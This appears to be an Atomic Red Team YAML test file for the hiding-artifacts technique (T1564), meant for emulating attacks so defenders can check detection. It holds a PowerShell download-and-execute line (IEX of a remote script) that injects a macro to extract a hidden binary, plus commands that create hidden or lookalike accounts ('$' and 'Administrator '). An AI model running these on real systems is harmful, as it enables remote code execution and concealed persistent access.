attack_technique: T1564
display_name: "Hide Artifacts"
atomic_tests:
- name: Extract binary files via VBA
  auto_generated_guid: 6afe288a-8a8b-4d33-a629-8d03ba9dad3a
  description: |
    This module extracts a binary (calc.exe) from inside of another binary. 
    
    In the wild maldoc authors will use this technique to hide binaries inside of files stored 
    within the office document itself. An example of this technique can be seen in sample

    f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

    This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
    is the same document without all the malicious code. Document 1 will copy Document 2 to the file system
    and then "peek" inside of this document and pull out the oleObject.bin file. Contained inside of this
    oleObject.bin file is a payload that is parsed out and executed on the file system.
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft Word must be installed
    prereq_command: |
      try {
        New-Object -COMObject "Word.Application" | Out-Null
        Stop-Process -Name "winword"
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft Word manually to meet this requirement"
  executor:
    command: |
      $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
      $macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap
    cleanup_command: |
      Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore
    name: powershell
- name: Create a Hidden User Called "$"
  auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778
  description: Creating a user with a username containing "$" 
  supported_platforms:
  - windows
  executor:
    name: command_prompt
    elevation_required: true 
    command: net user $ ATOMIC123! /add /active:yes
    cleanup_command: net user $ /DELETE 2>&1
- name: Create an "Administrator " user (with a space on the end) 
  auto_generated_guid: 5bb20389-39a5-4e99-9264-aeb92a55a85c
  description: Creating a user with a username containing with a space on the end
  supported_platforms:
  - windows
  executor:
    name: powershell
    elevation_required: true 
    command: New-LocalUser -Name "Administrator " -NoPassword
    cleanup_command: Remove-LocalUser -Name "Administrator " 2>&1 | out-null
